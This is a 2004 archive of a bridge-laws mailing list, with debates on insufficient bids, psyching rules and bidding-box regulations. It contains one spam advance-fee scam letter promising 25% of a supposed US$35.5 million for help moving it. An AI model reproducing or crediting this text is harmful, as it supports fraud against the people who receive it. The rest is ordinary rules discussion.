and deter others who >are not as scrupulous as them. In my view, this last is a >cardinal principle of bridge law. > > > >--- >Outgoing mail is certified Virus Free. >Checked by AVG anti-virus system (http://www.grisoft.com). >Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Tue Mar 30 01:36:14 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 30 Mar 2004 01:36:14 +0100 Subject: [blml] Insufficient kidding In-Reply-To: References: Message-ID: <7R5fIiC+DMaAFwNj@asimere.com> In article , richard.hills@immi.gov.au writes > > > > >Imps >Dlr: East >Vul: EW > >The opponents play Acol. >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- 1C Pass >1NT 2S 2C ? > >You, South, hold: > >T52 >AT87 >654 >975 > >What action do you take in the ACBL? Call the TD, have an argument with the TD, then bid 2S. This should get the message across to partner. >What action do you take in the Rest of the World? Bid 2S in the uk, but oppo will know who I am and the TD won't get it wrong so I don't need the farce with the TD. In the rest of the world? the more clueless the TD the more I'm likely to call him. wtp? John > >Best wishes > >Richard James Hills -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From siegmund@mosquitonet.com Tue Mar 30 01:10:21 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Mon, 29 Mar 2004 15:10:21 -0900 (AKST) Subject: [blml] Servant of the secret fire In-Reply-To: <015b01c415e2$26671ae0$4f9968d5@tinyhrieuyik> Message-ID: On Tue, 30 Mar 2004, Nigel Guthrie wrote: > The EBU is doing its best to punish those who break > the disclosure laws that Richard cites. It is hard to > demonstrate that a pair psyche according to an undisclosed > implicit agreement (although many regular psychers do seem > to have their own preference as to type and context). > Surely when you suspect that such a "psyche" has been > fielded, it is likely to be a pernicious enough infraction > of such laws as to deserve a severe sanction? This paragraph may well be a fine summary of why the members of this list haven't ever been able to see eye to eye about the psyching regulations. Concealed agreements are infractions, psyching itself isn't. It may be hard to demonstrate a pair has a concealed agreement: that doesn't change the fact that, to some of us, "suspecting something is likely to be pernicious" isn't a basis for drastic action. If you want to record each reported psych, or even require the reporting of them, ok. If you want to follow every suspected fielding with a speech to the table about ethical obligations and a warning that a partnership understanding may be emerging, great. If you want to go handing out severe sanctions -- you are essentially informing someone they are currently playing an illegal system and demanding they immediately conform, when you rule a CPU about psyching exists -- you had better have that hard demonstration ready. I am glad I'm not the only one who is raising eyebrows about the 'new Rule of Coincidence.' Around the time I first came to BLML was when reference to the RoC as a basis for semi-automatic UI adjustments was officially removed from the ACBLscore tech files, and then I didn't hear anything about it for a long while. It's baaack! GRB From adam@irvine.com Tue Mar 30 01:57:32 2004 From: adam@irvine.com (Adam Beneschan) Date: Mon, 29 Mar 2004 16:57:32 -0800 Subject: [blml] Insufficient kidding In-Reply-To: Your message of "Tue, 30 Mar 2004 07:21:42 +1000." Message-ID: <200403300057.QAA11511@mailhub.irvine.com> > Imps > Dlr: East > Vul: EW > > The opponents play Acol. > The bidding has gone: > > WEST NORTH EAST SOUTH > --- --- 1C Pass > 1NT 2S 2C ? > > You, South, hold: > > T52 > AT87 > 654 > 975 > > What action do you take in the ACBL? Call the Director. > What action do you take in the Rest of the World? In Commonwealth nations, I call the Director, but attempt to do so without pronouncing the final "r" too emphatically. In the rest of the world, I get out my phrase book to find out how to translate "Director" into the local language, then I attempt to use that term to call the Director, undoubtedly garnering snickers because I can't pronounce the vowels correctly and will probably botch the "r" sound if there is one. In Sweden, I do the same thing but make the pitch of my voice go up and down while calling. In China, there's no way I'm going to get it right so I just call "Dilektoh" and hope someone understands. I'm not sure what the problem is here---unless the problem is that this post is three days too early. -- Adam From roubertada010@yahoo.com Tue Mar 30 02:02:40 2004 From: roubertada010@yahoo.com (Roubert Ada) Date: Tue, 30 Mar 2004 03:02:40 +0200 Subject: [blml] (*SPAM*) Confidetial Message-ID: <20040330010242.4FB7A2C091@rhubarb.custard.org> Mr. Roubert Ada Johannesburg South Africa Tel: +27-83-467-8284 FAX: +27-11-5076408 email: roubertada010@yahoo.com URGENT FAMILY ASSISTANCE NEEDED Dear Sir, It is a great pleasure for me to contact you but first let me start by introducing myself. I am the son of Chief Mal Ada, a member of the Movement for political change in Zimbabwe which is against the President and his political party called Zanu pf. It happens that he became a partner with a white man in business who is one of the leaders of their movement, through him he brought his ideas an= d Philosophy that they need to eradicate the idea of racism and torture towards the white by the present president because they are the Minority in Zimbabwe (South Africa). Because of his relationship with their party for democratic change the President and his party brought their wicked ideas towards us. They start= ed Confiscating our properties, our farm lands and even our company which my father is a partner with a Whiteman because the president and his allies have been doing that to other white farmers. During this process he was arrested with his partner. However according t= o the instructions my father gave me to sell the remainder of his assets, I as the son was able to sell his remaining assets which I realized US$35.5 million United States Dollars. And deposited this fund with a security company in Johannesburg with the help of our family friend in South Afric= a and was Send to their branch in Holland. But as of now I am in South Africa and the reason why I am soliciting for your assistance is that ever since I came here to South Africa, I have no= t be able to clear the consignment from the security company to deposit the fund in the bank because I am staying here as a refugee in South Africa. All I want you to do is to travel down to Johannesburg, South Africa. If you can but if not, you can open the account via online banking, so as to open A non-residential account so that we will deposit the money and transfer the fund from here to your nominated bank account. So that I will be able= to relocate the rest of our family away from Zimbabwe and use the rest money for onward investment. Sir, with your help and assistance I am ready to give you 25% from the total sum of money and also I have map out 1% for expenses for both parties might incurred during this transaction. I assure you that this assistance and help is 100% risk free and this won't jeopardize the interest of you and your company neither my family. Please I want you to keep confidential and private because the government of Zimbabwe did not know that I am in South Africa or we even have other assets that I was able sell to realize the fund. I decided to contact you through e-mail because I want it to be private and also I am waiting your reply through this e-mail address so that I ca= n now give you details and updates. Hoping to hear from you as soon as possible and god bless you. Thanks, Yours sincerely, Mr. Roubert Ada. Please reply by fax. From richard.hills@immi.gov.au Tue Mar 30 02:34:35 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 30 Mar 2004 11:34:35 +1000 Subject: [blml] Psyches Message-ID: Law 73A1: >>Communication between partners during the >>auction and play shall be effected only by >>means of the calls and plays themselves. Ed Reppert: >Knowledge of partner's idiosyncracies, or >of the state of the match, is not >"communication between partners". Richard Mollo Hills: Charlie the Chimp has the idiosyncrasy of rubbing his diamond ring. Coincidentally, this idiosyncrasy only occurs when Charlie the Chimp is void in diamonds. The Chimp's partner, Molly the Mule, says that she has not infracted Law 73A1 when her woman's intuition is invariably correct about whether or not a defensive diamond ruff is available. How would you rule? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Tue Mar 30 02:56:28 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 02:56:28 +0100 Subject: [blml] Insufficient kidding In-Reply-To: References: Message-ID: wrote >Imps >Dlr: East >Vul: EW > >The opponents play Acol. >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- 1C Pass >1NT 2S 2C ? > >You, South, hold: > >T52 >AT87 >654 >975 > >What action do you take in the ACBL? Complain to the Director that they are using an illegal system? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Tue Mar 30 03:11:09 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 30 Mar 2004 12:11:09 +1000 Subject: [blml] Servant of the secret fire Message-ID: Nigel Guthrie: >>Good grief! EBU advocate is an unlikely role for >>me :) Rumpole of the Bailey: >The glory of the advocate is to be opinionated, >brash, fearless, partisan, hectoring, rude, >cunning and unfair. Nigel Guthrie: [snip] >>The EBU is doing its best to punish those who >>break the disclosure laws that Richard cites. [snip] >>Surely when you suspect that such a "psyche" >>has been fielded, it is likely to be a >>pernicious enough infraction of such laws as >>to deserve a severe sanction? WBF LC minutes 30th August 2000, item 8, second paragraph: "If psyches in a partnership are frequent enough for a player to be aware that his partner might have psyched in a particular position then there is an agreement. **It does not matter whether the player uses that agreement.** It is then dealt with as any other agreement as far as disclosure is concerned." Richard James Hills: In my humble opinion, the EBU regulation under discussion is inconsistent with the WBF paragraph above. In my humble opinion, the EBU does not punish pernicious pseudo- psyches. In my humble opinion, the EBU merely uses a TARDIS to define a psudo-psyche as pernicious if the psudo-psycher's partner later fields that pseudo-psyche. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 30 03:21:23 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 30 Mar 2004 12:21:23 +1000 Subject: [blml] Insufficient kidding Message-ID: >Imps >Dlr: East >Vul: EW > >The opponents play Acol. >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- 1C Pass >1NT 2S 2C ? > >You, South, hold: > >T52 >AT87 >654 >975 > >What action do you take in the ACBL? >What action do you take in the Rest of the World? Richard James Hills continues: Many blmlers posted enjoyably humorous answers to this problem. However, some posters may have misinterpreted the requirements of Law by stating that the first action must be to call the TD. The Scope and Interpretation of the Laws state: ".....When these Laws say that a player "*may*" do something ("any player may call attention to an irregularity during the auction"), the failure to do it is not wrong....." So, last night at the table, I did not call attention to the irregularity, therefore did not summon the TD, but instead merely bid 2S in accordance with my rights under Law 27A. In the Rest of the World, my attempt to show spade support without the values to compete to the three-level is perfectly legal and ethical. But in the ACBL, there is a regulation which states that it is illegal to have any partnership agreements consequent to an opponent's insufficient bid. :-( Note: At the table, the complete auction was: WEST NORTH EAST SOUTH --- --- 1C Pass 1NT 2S 2C 2S 3C 3H(1) Pass Pass Pass (1) Long suit trial bid 2S would have scored no more than eight tricks, 3C would have been cold for nine tricks, 3H was +140. A triumph for the Hills kidding system! :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From adam@irvine.com Tue Mar 30 04:12:20 2004 From: adam@irvine.com (Adam Beneschan) Date: Mon, 29 Mar 2004 19:12:20 -0800 Subject: [blml] Insufficient kidding In-Reply-To: Your message of "Tue, 30 Mar 2004 12:21:23 +1000." Message-ID: <200403300312.TAA16556@mailhub.irvine.com> Richard Hills wrote: > >Imps > >Dlr: East > >Vul: EW > > > >The opponents play Acol. > >The bidding has gone: > > > >WEST NORTH EAST SOUTH > >--- --- 1C Pass > >1NT 2S 2C ? > > > >You, South, hold: > > > >T52 > >AT87 > >654 > >975 > > > >What action do you take in the ACBL? > >What action do you take in the Rest of the World? > > Richard James Hills continues: > > Many blmlers posted enjoyably humorous answers to > this problem. However, some posters may have > misinterpreted the requirements of Law by stating > that the first action must be to call the TD. I didn't see any response that stated that anyone called the TD because they were "required" to do so. Some of us just do so habitually after irregularities. > The Scope and Interpretation of the Laws state: > > ".....When these Laws say that a player "*may*" do > something ("any player may call attention to an > irregularity during the auction"), the failure to > do it is not wrong....." > > So, last night at the table, I did not call > attention to the irregularity, therefore did not > summon the TD, but instead merely bid 2S in > accordance with my rights under Law 27A. > > In the Rest of the World, my attempt to show > spade support without the values to compete to > the three-level is perfectly legal and ethical. > > But in the ACBL, there is a regulation which > states that it is illegal to have any partnership > agreements consequent to an opponent's insufficient > bid. So what? You don't need to have any special partnership agreements to bid 2S here and have it interpreted correctly. You're not allowed to have any special agreements (actually, this may apply only to conventions) to take advantage of an insufficient bid, but you are definitely allowed to bid within the context of your normal agreements, and partner is allowed to take those agreements into consideration and is also allowed to take into account the fact that you accepted the insufficient bid in order to make a bid a level lower. This is more or less from memory. I can't actually find the regulation involved on the ACBL web site. I did find this ACBLLC minute from Philadelphia in 1996, but it may not mean anything: In response to a question from ACBL Management, the Laws Commission addressed the issue of defenses to opponents infractions. The Laws Commission felt that the ACBL could not legislate against natural calls that follow an infraction (e.g. accepting an insufficient bid with a simple overcall or a jump overcall). However, since a sponsoring organization can disallow conventional calls, the Commission agreed that the ACBL can say that agreements on conventions could not be dependent on an opponent's infraction. Mr. Kaplan thought that this was a dangerous area for the ACBL to involve themselves and does not think they should make an issue of it. Since I can't find the regulation, it may be that it's badly worded and subject to over-interpretation. But I cannot imagine any TD, even in the ACBL, ruling that any infraction can be caused by South's bidding 2S here. -- Adam From grabiner@alumni.princeton.edu Tue Mar 30 04:19:44 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Mon, 29 Mar 2004 22:19:44 -0500 Subject: [blml] Insufficient kidding In-Reply-To: Message-ID: <5.1.1.6.0.20040329221658.01c25540@mail.comcast.net> At 09:21 PM 3/29/2004, richard.hills@immi.gov.au wrote: >WEST NORTH EAST SOUTH >--- --- 1C Pass >1NT 2S 2C 2S >In the Rest of the World, my attempt to show >spade support without the values to compete to >the three-level is perfectly legal and ethical. > >But in the ACBL, there is a regulation which >states that it is illegal to have any partnership >agreements consequent to an opponent's insufficient >bid. The ACBL regulation deals only with conventional agreements. Your 2S bid had only a natural meaning which could be inferred from general bridge knowledge: you wanted to show partner support at the 2-level. From adam@irvine.com Tue Mar 30 04:30:43 2004 From: adam@irvine.com (Adam Beneschan) Date: Mon, 29 Mar 2004 19:30:43 -0800 Subject: [blml] Insufficient kidding In-Reply-To: Your message of "Mon, 29 Mar 2004 22:19:44 EST." <5.1.1.6.0.20040329221658.01c25540@mail.comcast.net> Message-ID: <200403300330.TAA17228@mailhub.irvine.com> David Grabiner wrote: > At 09:21 PM 3/29/2004, richard.hills@immi.gov.au wrote: > > >WEST NORTH EAST SOUTH > >--- --- 1C Pass > >1NT 2S 2C 2S > > > > >In the Rest of the World, my attempt to show > >spade support without the values to compete to > >the three-level is perfectly legal and ethical. > > > >But in the ACBL, there is a regulation which > >states that it is illegal to have any partnership > >agreements consequent to an opponent's insufficient > >bid. > > The ACBL regulation deals only with conventional agreements. Your 2S bid > had only a natural meaning which could be inferred from general bridge > knowledge: you wanted to show partner support at the 2-level. >From what I recall, the ACBL regulation also does not deal with the use of a convention that your partner can infer from the rest of your system. If you play support doubles and the auction goes something like: South West North East 1C pass 1S 1H dbl South is allowed to double to show three-card spade support, and North is allowed to infer that South is showing three-card spade support with his double. However, it's probably legal only if the partnership hasn't specifically discussed what to do over an insufficient bid. (Yes, I know this isn't enforceable.) -- Adam From richard.hills@immi.gov.au Tue Mar 30 04:40:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 30 Mar 2004 13:40:08 +1000 Subject: [blml] Insufficient kidding Message-ID: David J. Grabiner ruled: >The ACBL regulation deals only with conventional >agreements. Your 2S bid had only a natural meaning >which could be inferred from general bridge >knowledge: you wanted to show partner support at the >2-level. Richard James Hills asks: Hypothetical: Suppose that my partnership has an ACBL-legal agreement to play transfer responses to overcalls, for example -> WEST NORTH EAST SOUTH --- --- 1C Pass 1NT 2S 3C 3H(1) (1) Transfer to spades Given that my hypothetical conventional agreement is to play transfer responses to overcalls in normal circumstances, what is the ACBL-legality of this alternative auction? -> WEST NORTH EAST SOUTH --- --- 1C Pass 1NT 2S 2C 2H(1) (1) Transfer to spades Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Tue Mar 30 05:09:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 29 Mar 2004 23:09:30 -0500 Subject: [blml] Psyches In-Reply-To: Message-ID: <0B4277EA-8200-11D8-9BB6-0030656F6826@rochester.rr.com> On Monday, Mar 29, 2004, at 20:34 US/Eastern, richard.hills@immi.gov.au wrote: > Charlie the Chimp has the idiosyncrasy of > rubbing his diamond ring. Coincidentally, > this idiosyncrasy only occurs when Charlie > the Chimp is void in diamonds. > > The Chimp's partner, Molly the Mule, says > that she has not infracted Law 73A1 when > her woman's intuition is invariably correct > about whether or not a defensive diamond > ruff is available. > > How would you rule? Hm. Okay, *that* idiosyncracy is a communication between partners. I was thinking more of psyching tendency than of this kind of thing. From richard.hills@immi.gov.au Tue Mar 30 06:15:33 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 30 Mar 2004 15:15:33 +1000 Subject: [blml] How Law 25B is not to be used Message-ID: David Stevenson suggested that, *if* Law 25A were to be abolished, *then* the ACBL Bidding Box regulation should be incorporated into Law 17 to officially define when a call was "made". FYI, the ACBL Bidding Box reg is attached. Best wishes Richard James Hills http://www.bridgeguys.com/BGlossary/BiddingBoxRegulation98.html Choosing a Call Using Bidding Boxes A player is obligated to choose a call before touching any card in the box. Deliberation while touching the bidding box cards may subject the offending side to the adjustment provisions of Law 16. A call is considered made when a bidding box card has been taken out of the box with apparent intent. Until the card has been completely removed from the box, the director will treat the situation as unauthorized information. A call may be changed without penalty, under the provisions of Law 25, only if a player has inadvertently taken out the wrong bidding box card, and the player corrects, or attempts to correct, without pause for thought, and partner has not subsequently called. If the Director is reasonably certain that the original call was a mechanical problem, they should be liberal in judging pause for thought. It is difficult, however, to justify pulling a bid in place of a pass, double or redouble as a mechanical error. Calls from different pockets should rarely, if at all, be judged as inadvertent. One understandable exception is placing the double card out followed shortly with a bid card that skips the bidding. This appears clear that the double card was placed inadvertently on the table. -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From tom.cornelis@pi.be Thu Mar 25 16:58:20 2004 From: tom.cornelis@pi.be (Tom Cornelis) Date: Thu, 25 Mar 2004 17:58:20 +0100 Subject: [blml] systems policy Message-ID: <000801c4128a$620b6fc0$528bdbd5@lightningadmin> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C41292.C24714E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I was wondering why the Laws cater for SO to decide what conventions can = be used. I often feel that I'm not allowed to use the bidding techniques that are = currently available only because of the whim of some SO. I'm also a bit disappointed at that. Bridge proclaims to be played = according to the same rules all over the world, but a standard system in = one country cannot be played in others. I accept that SO can set conditions of contest, but those shouldn't = include the play of the game. I would like to compare with football (soccer). There it is also customary to set contitions of contest, but I'm afraid = I've never heard of disallowing certain techniques _locally_. For example, the UEFA could not disallow sideway tackles just because = they dislike them. They would have to wait for the FIFA to decide that. You might argue that SO do not deviate from the rules. Of course they = don't. But the Laws shouldn't allow the SO to disallow certain bidding = techniques. If I were to compare this with the play of the cards, it would be like I = feel that in some cases I can underruff, but in others I can't, because = that technique is too advanced for other players to understand, = according that SO. Eagerly awaiting your replies, Tom Cornelis ------=_NextPart_000_0005_01C41292.C24714E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all,
 
I was wondering why the Laws cater for = SO to decide=20 what conventions can be used.
I often feel that I'm not allowed to = use the=20 bidding techniques that are currently available only because of the whim = of some=20 SO.
I'm also a bit disappointed at that. = Bridge=20 proclaims to be played according to the same rules all over the world, = but a=20 standard system in one country cannot be played in others.
I accept that SO can set conditions of = contest, but=20 those shouldn't include the play of the game.
 
I would like to compare with football=20 (soccer).
There it is also customary to set = contitions=20 of contest, but I'm afraid I've never heard of disallowing certain = techniques=20 _locally_.
For example, the UEFA could not = disallow sideway=20 tackles just because they dislike them. They would have to wait for the = FIFA to=20 decide that.
 
You might argue that SO do not deviate = from the=20 rules. Of course they don't. But the Laws shouldn't allow the SO to = disallow=20 certain bidding techniques.
If I were to compare this with the = play of the=20 cards, it would be like I feel that = in some cases=20 I can underruff, but in others I can't, because that technique is too = advanced=20 for other players to understand, according that SO.
 
Eagerly awaiting your = replies,
 
Tom Cornelis
------=_NextPart_000_0005_01C41292.C24714E0-- From pjt" --BKXGPBGgRLkOeeQcpxLObRSQUsD Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I just received an email containing a virus from the list. Does anyone know anything more about this: The blueyonder anti-virus system found a virus in this message which it was unable to clean ---- ---------------------- From: blml-admin@rtflb.org To: pjtrevor@blueyonder.co.uk Sent On: 27/03/04 20:28:21 () infected I-Worm.NetSky.d ---------------------- --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.643 / Virus Database: 411 - Release Date: 26/03/04 --BKXGPBGgRLkOeeQcpxLObRSQUsD Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I just received an email containing a virus from the list.   Does anyone
know anything more about this:

The blueyonder anti-virus system found a virus in this message which it
was unable to clean ----

----------------------
From: blml-admin@rtflb.org
To: pjtrevor@blueyonder.co.uk
Sent On: 27/03/04 20:28:21

() infected I-Worm.NetSky.d

----------------------


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.643 / Virus Database: 411 - Release Date: 26/03/04


has notified the sender that this message has been received.

--BKXGPBGgRLkOeeQcpxLObRSQUsD-- From cibor@poczta.fm Tue Mar 30 00:35:30 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Mon, 29 Mar 2004 16:35:30 -0700 Subject: [blml] OT again Message-ID: <004c01c415e6$9864c9e0$532846a2@ams.com> This is a multi-part message in MIME format. ------=_NextPart_000_0049_01C415AB.D98ACE00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello folks, I am looking for a card game which rules would resemble as closely = as possible the rules of bridge and which would be universally known by everybody in the countries where = English is the native language (US, GB, Australia etc.). A game that everybody = would know and play from time to time. Does such game exist at all? Again - please respond to my private e-mail address and many thanks = in advance to those who will take the time answer. Konrad Ciborowski Krakow, Poland ------=_NextPart_000_0049_01C415AB.D98ACE00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

 
Hello folks,
 
    I am looking for a card game = which rules=20 would resemble as closely as possible the rules of bridge
and which would be universally known by everybody in = the=20 countries where English is
the native language (US, GB, Australia etc.). A game = that=20 everybody would know
and play from time to time. Does such = game exist at=20 all?
    Again - please respond to my = private e-mail=20 address and many thanks in advance
to those who will take the time answer.
 
 
          &nbs= p;            = ;=20 Konrad Ciborowski
          &nbs= p;            = ;=20 Krakow, Poland
 
 
------=_NextPart_000_0049_01C415AB.D98ACE00-- From hermandw@hdw.be Tue Mar 30 08:37:21 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 30 Mar 2004 09:37:21 +0200 Subject: [blml] Psyches In-Reply-To: <+HrQ9BIPcGaAFwMf@blakjak.demon.co.uk> References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> <4068510B.6090905@hdw.be> <+HrQ9BIPcGaAFwMf@blakjak.demon.co.uk> Message-ID: <406923B1.8000607@hdw.be> David Stevenson wrote: > Herman De Wael wrote > >> >> Only an English TD can be so justified, and only in the sense that you >> accept that the EBU has the right to issue regulations that go against >> the laws of bridge. > > > Of course this also means that the EBU has done such a thing, for > which little evidence has been shown here in the posts I read. I do not > think that language difficulties in the use of the word 'fielding' are > enough. Of course you can have a minority usage if you like, but that > hardly makes a reg wrong just because it uses the majority usage. > I am not talking about use of language here, but of issueing a regulation which stipulates that certain infractions of L40B are not treated as L40C prescribes, but carry som other penalty. If that regulation does not go against the laws, ... >> Any other Director in the world is justified in assuming that the >> fielding is evidence of a PU; that Director should then investigate if >> this PU has been sufficiently disclosed to opponents or not, in which >> case he should rule CPU; that Director should then investigate if the >> opponents have been damaged through their not knowing of the psyching >> tendencies of the player; that Director should then give an AS >> according to L12C2 or possibly L12C3. > > > Rather more difficult than you believe, I think. Remember what the > infraction is, then read L12C again. > Yes, please remind us what the infraction is, and then read L40C again. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Tue Mar 30 08:52:06 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 30 Mar 2004 09:52:06 +0200 Subject: [blml] Psyches In-Reply-To: <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik> References: <200403291510.i2TFA2TE019493@athena.ccrs.nrcan.gc.ca> <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik> Message-ID: <40692726.80800@hdw.be> Nigel Guthrie wrote: >>[Ron Johnson] >>In making your ruling which law would you quote? > > > {Nigel] > I'm a humble player, interested only in law-reform; I'm not > a TD; I haven't read the minutes and commentaries on the > the laws; nor do I want to do so. I don't even know any of > the the law numbers. But here is my tuppence worth... > Please Nigel, let an even more humble player, but a TD, tell you about the Law numbers then ... > 1. I believe there is a law to the effect that the > only legitimate vehicles for communication at the Bridge > table are the bids and plays athat you make during the > current deal. Hence, you may not take into account > information from the state of the match and knowledge > of partner's idiosyncracies. > Yes Nigel, you are not allowed to communicate information such as the state of the match ("partner, remember that we are 53 imps down ..."). But there is no law that forbids a player to take that knowledge into account in selecting his call. OK? > 2. Also, obviously, if you know that partner has peculiar > bidding habits, you may not make use of such knowledge > unless such understandings are > (1) Legal systemic agreements and > (b) decalared in full to opponents. > (For example in many coutries, not just Britain, you may > not have an implicit agreement to open very weak hands). > Again, not really. You are allowed to use this information. You are not allowed to bid as in (1), true; and You will be ruled against if you do (b); but (b) is something which happens all the time (as in forgetting to alert) and which does not disallow your bid, just leads to a possible score adjustment if opponents are damaged. > 3. Furthermore, in many jurisdictions, you may not agree to > play an asymmetric system. Perhaps you could get round > that if you had an implicit agreement to psyche, randomly, > at the same frequency as partner :) > We all know that this regulation is impossible to keep up if "system" is interpreted in a more strict way than "you are not allowed to play transfer bids only one direction". Judgment does not, and cannot fall in this regulation. Nor psyching frequency. I psyche once every three months, my partner only once every six months. If the regulation you cite forbids this, then that is tantamount to a regulation forbidding psyching altogether. But perhaps that is what some people want. > 4. Finally, as Richard Hills is fond of pointing out, you > are *not* accusing the "offending" partnership of fielding. > (: Their ethics are beyond reproach :) You must rule > adversely to maintain consistency and deter others who > are not as scrupulous as them. In my view, this last is a > cardinal principle of bridge law. > That point is beyond reproach. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Tue Mar 30 08:58:12 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 30 Mar 2004 09:58:12 +0200 Subject: [blml] Psyches In-Reply-To: <003601c415d1$9631a2c0$4f9968d5@tinyhrieuyik> References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> <4068510B.6090905@hdw.be> <003601c415d1$9631a2c0$4f9968d5@tinyhrieuyik> Message-ID: <40692894.8090701@hdw.be> Nigel Guthrie wrote: >>[Herman De Wael] >>Your partner's habits are AI to you, so in the case you >>describe above, you are allowed to infer that it is your >>partner who has psyched. > > > {Nigel] > > Hi Herman! Are partner's habits really AI to you? Perhaps, > in a regular four playing cut-out Rubber Bridge, I would > tend to agree. > > But at duplicate, what law justifies such inferences? Is > the information available purely from partner's bids or > plays, in the current deal? How can opponents be equally > aware of such information? Do you declare all these > important implicit agreements to opponents? If so, how? > Yes Nigel, they are. How else are you going to play bridge? It is easy not to look at your partner's face. But it's impossible not to know what side of caution your partner usually errs on. And yes, you do declare all that to your opponents as well. Something which is difficult to do, but at the very least you answer their questions. Have you never asked "what strength is your weak two - and does he always open with 6 points?" > [Herman] > >>Only an English TD can be so justified, and only in the >>sense that you accept that the EBU has the right to issue >>regulations that go against the laws of bridge. Any other >>Director in the world is justified in assuming that the >>fielding is evidence of a PU; that Director should then >>investigate if this PU has been sufficiently disclosed to >>opponents or not, in which case he should rule CPU; that >>Director should then investigate if the opponents have been >>damaged through their not knowing of the psyching tendencies >>of the player; that Director should then give an >>AS according to 